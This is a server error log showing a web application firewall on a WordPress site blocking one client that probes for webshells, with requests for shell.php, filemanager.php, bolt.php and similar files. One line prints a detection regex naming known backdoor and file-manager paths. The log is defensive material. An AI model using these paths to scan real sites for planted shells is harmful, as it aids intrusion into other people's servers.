[Sat Dec 20 20:53:30.423724 2025] [:error] [pid 33749:tid 33754] [client 4.197.92.49:1053] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aUacStoInXJnb96wei9IiQAAAoM"]
[Sat Dec 20 20:53:31.685310 2025] [:error] [pid 33844:tid 33860] [client 4.197.92.49:46047] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aUacSyaNtwGsyqqVmQHq4gAAAw4"]
[Sat Dec 20 20:53:32.373794 2025] [:error] [pid 39493:tid 39566] [client 4.197.92.49:49929] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aUacTGhjL2VG_FmIHqDtbwAAAJE"]
[Sat Dec 20 20:53:32.937206 2025] [:error] [pid 33749:tid 33770] [client 4.197.92.49:36629] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aUacTNoInXJnb96wei9IjQAAApM"]
[Sat Dec 20 20:53:34.343841 2025] [:error] [pid 33749:tid 33771] [client 4.197.92.49:1068] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aUacTtoInXJnb96wei9IjgAAApQ"]
[Sat Dec 20 20:53:34.945559 2025] [:error] [pid 33749:tid 33765] [client 4.197.92.49:1045] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aUacTtoInXJnb96wei9IjwAAAo4"]
[Sat Dec 20 20:53:37.188380 2025] [:error] [pid 14247:tid 14255] [client 4.197.92.49:38310] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aUacUSDv9TtKKdJQn9kKcgAAAQY"]
[Sat Dec 20 20:53:37.804476 2025] [:error] [pid 14247:tid 14266] [client 4.197.92.49:38303] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/himu.php"] [unique_id "aUacUSDv9TtKKdJQn9kKdAAAARE"]
[Sat Dec 20 20:53:38.656936 2025] [:error] [pid 39493:tid 39573] [client 4.197.92.49:45190] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/himu.php"] [unique_id "aUacUmhjL2VG_FmIHqDtcgAAAJg"]
[Sat Dec 20 20:53:39.242339 2025] [:error] [pid 33844:tid 33864] [client 4.197.92.49:50885] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/himu.php"] [unique_id "aUacUyaNtwGsyqqVmQHq5gAAAxI"]
[Sat Dec 20 20:53:40.388833 2025] [:error] [pid 33844:tid 33857] [client 4.197.92.49:36092] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/himu.php"] [unique_id "aUacVCaNtwGsyqqVmQHq6QAAAws"]
[Sat Dec 20 20:53:41.682635 2025] [:error] [pid 33793:tid 33818] [client 4.197.92.49:36525] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "aUacVVSicyB0BFmbRMzJOAAAAtc"]
[Sat Dec 20 20:53:43.064782 2025] [:error] [pid 39577:tid 39581] [client 4.197.92.49:36034] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "aUacV7viRnt1rJiSOfxVeQAAAMI"]
[Sat Dec 20 20:53:44.605701 2025] [:error] [pid 39577:tid 39594] [client 4.197.92.49:48785] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "aUacWLviRnt1rJiSOfxVgAAAAM8"]
[Sat Dec 20 20:53:45.170618 2025] [:error] [pid 39493:tid 39572] [client 4.197.92.49:46064] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "aUacWWhjL2VG_FmIHqDteAAAAJc"]
[Sat Dec 20 20:53:45.817874 2025] [:error] [pid 39493:tid 39551] [client 4.197.92.49:38726] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aUacWWhjL2VG_FmIHqDteQAAAII"]
[Sat Dec 20 20:53:46.341330 2025] [:error] [pid 14286:tid 14301] [client 4.197.92.49:50887] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aUacWp7rbXIrw6rGSdZv9QAAAUs"]
[Sat Dec 20 20:53:47.033660 2025] [:error] [pid 33749:tid 33775] [client 4.197.92.49:1138] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aUacW9oInXJnb96wei9IkgAAApg"]
[Sat Dec 20 20:53:55.154830 2025] [autoindex:error] [pid 14247:tid 14272] [client 4.197.92.49:38734] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 20:53:59.394309 2025] [:error] [pid 14247:tid 14251] [client 4.197.92.49:38734] [client 4.197.92.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "aUacZyDv9TtKKdJQn9kKggAAAQI"]
[Sat Dec 20 20:54:08.815363 2025] [:error] [pid 39577:tid 39580] [client 4.197.92.49:1489] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aUaccLviRnt1rJiSOfxVqQAAAME"]
[Sat Dec 20 20:54:11.702437 2025] [:error] [pid 14247:tid 14271] [client 4.197.92.49:38764] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aUaccyDv9TtKKdJQn9kKiAAAARY"]
[Sat Dec 20 20:54:13.312997 2025] [:error] [pid 14286:tid 14304] [client 4.197.92.49:1914] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aUacdZ7rbXIrw6rGSdZwAAAAAU4"]
[Sat Dec 20 20:54:14.055945 2025] [:error] [pid 39577:tid 39602] [client 4.197.92.49:1898] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aUacdrviRnt1rJiSOfxVqwAAANc"]
[Sat Dec 20 20:54:15.013153 2025] [:error] [pid 39577:tid 39600] [client 4.197.92.49:1476] [client 4.197.92.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aUacd7viRnt1rJiSOfxVrAAAANU"]
[Sat Dec 20 20:54:16.020840 2025] [:error] [pid 39493:tid 39551] [client 4.197.92.49:41930] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aUaceGhjL2VG_FmIHqDtjQAAAII"]
[Sat Dec 20 20:54:16.484393 2025] [:error] [pid 33793:tid 33807] [client 4.197.92.49:51881] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aUaceFSicyB0BFmbRMzJTgAAAsw"]
[Sat Dec 20 20:54:17.281122 2025] [:error] [pid 33749:tid 33759] [client 4.197.92.49:50936] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aUacedoInXJnb96wei9IqgAAAog"]
[Sat Dec 20 20:54:17.604839 2025] [:error] [pid 33844:tid 33858] [client 4.197.92.49:38741] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aUaceSaNtwGsyqqVmQHrFAAAAww"]
[Sat Dec 20 20:54:18.232001 2025] [:error] [pid 33844:tid 33860] [client 4.197.92.49:41963] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aUaceiaNtwGsyqqVmQHrFQAAAw4"]
[Sat Dec 20 20:54:19.422570 2025] [:error] [pid 33844:tid 33862] [client 4.197.92.49:38753] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aUaceyaNtwGsyqqVmQHrGAAAAxA"]
[Sat Dec 20 20:54:19.756645 2025] [:error] [pid 14247:tid 14252] [client 4.197.92.49:1502] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aUaceyDv9TtKKdJQn9kKiwAAAQM"]
[Sat Dec 20 20:54:20.823992 2025] [:error] [pid 39577:tid 39599] [client 4.197.92.49:37784] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aUacfLviRnt1rJiSOfxVrgAAANQ"]
[Sat Dec 20 20:54:22.396899 2025] [:error] [pid 62124:tid 62145] [client 4.197.92.49:50942] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aUacfls94zPA9ULQOjlxoAAAABM"]
[Sat Dec 20 20:54:24.405526 2025] [:error] [pid 33749:tid 33761] [client 4.197.92.49:36079] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aUacgNoInXJnb96wei9IrwAAAoo"]
[Sat Dec 20 20:54:24.633080 2025] [:error] [pid 33687:tid 33711] [client 4.197.92.49:46657] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aUacgDYMR4qK1N4g7vjDOwAAAlU"]
[Sat Dec 20 20:54:25.258434 2025] [:error] [pid 39577:tid 39595] [client 4.197.92.49:50907] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aUacgbviRnt1rJiSOfxVsAAAANA"]
[Sat Dec 20 20:54:26.546677 2025] [:error] [pid 39577:tid 39584] [client 4.197.92.49:38732] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aUacgrviRnt1rJiSOfxVsgAAAMU"]
[Sat Dec 20 20:54:29.686865 2025] [:error] [pid 14247:tid 14255] [client 4.197.92.49:50929] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aUachSDv9TtKKdJQn9kKkAAAAQY"]
[Sat Dec 20 20:54:30.347934 2025] [:error] [pid 33749:tid 33774] [client 4.197.92.49:39145] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aUachtoInXJnb96wei9IsQAAApc"]
[Sat Dec 20 20:54:31.861646 2025] [:error] [pid 14247:tid 14253] [client 4.197.92.49:50896] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aUachyDv9TtKKdJQn9kKkQAAAQQ"]
[Sat Dec 20 20:54:34.518096 2025] [:error] [pid 39493:tid 39560] [client 4.197.92.49:48820] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aUacimhjL2VG_FmIHqDtkwAAAIs"]
[Sat Dec 20 20:54:35.234793 2025] [:error] [pid 14286:tid 14306] [client 4.197.92.49:36050] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aUaci57rbXIrw6rGSdZwEQAAAVA"]
[Sat Dec 20 20:54:35.771172 2025] [:error] [pid 62124:tid 62149] [client 4.197.92.49:41437] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aUaci1s94zPA9ULQOjlxpgAAABc"]
[Sat Dec 20 20:54:37.120273 2025] [:error] [pid 39577:tid 39599] [client 4.197.92.49:1030] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aUacjbviRnt1rJiSOfxVuwAAANQ"]
[Sat Dec 20 20:54:39.221303 2025] [:error] [pid 39577:tid 39594] [client 4.197.92.49:50787] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ouh.php"] [unique_id "aUacj7viRnt1rJiSOfxVvAAAAM8"]
[Sat Dec 20 20:54:41.253634 2025] [:error] [pid 39493:tid 39565] [client 4.197.92.49:40773] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ouh.php"] [unique_id "aUackWhjL2VG_FmIHqDtmQAAAJA"]
[Sat Dec 20 20:54:42.054873 2025] [:error] [pid 33570:tid 33596] [client 4.197.92.49:36193] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ouh.php"] [unique_id "aUackoTNveA-c6YcSrIDeAAAAdQ"]
[Sat Dec 20 20:54:42.974992 2025] [:error] [pid 33687:tid 33707] [client 4.197.92.49:52248] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ouh.php"] [unique_id "aUackjYMR4qK1N4g7vjDPwAAAlE"]
[Sat Dec 20 20:54:43.499549 2025] [:error] [pid 33687:tid 33698] [client 4.197.92.49:40848] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aUackzYMR4qK1N4g7vjDQQAAAkg"]
[Sat Dec 20 20:54:44.775069 2025] [:error] [pid 33749:tid 33752] [client 4.197.92.49:51761] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aUaclNoInXJnb96wei9IuQAAAoE"]
[Sat Dec 20 20:54:45.531448 2025] [:error] [pid 14247:tid 14258] [client 4.197.92.49:42534] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aUaclSDv9TtKKdJQn9kKmAAAAQk"]
[Sat Dec 20 20:54:46.056649 2025] [:error] [pid 33749:tid 33764] [client 4.197.92.49:42463] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aUacltoInXJnb96wei9IugAAAo0"]
[Sat Dec 20 20:54:47.425236 2025] [:error] [pid 14247:tid 14262] [client 4.197.92.49:34805] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aUaclyDv9TtKKdJQn9kKmQAAAQ0"]
[Sat Dec 20 20:54:48.079870 2025] [:error] [pid 33749:tid 33772] [client 4.197.92.49:46126] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aUacmNoInXJnb96wei9IvgAAApU"]
[Sat Dec 20 20:54:49.251157 2025] [:error] [pid 33844:tid 33851] [client 4.197.92.49:42046] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aUacmSaNtwGsyqqVmQHrIQAAAwU"]
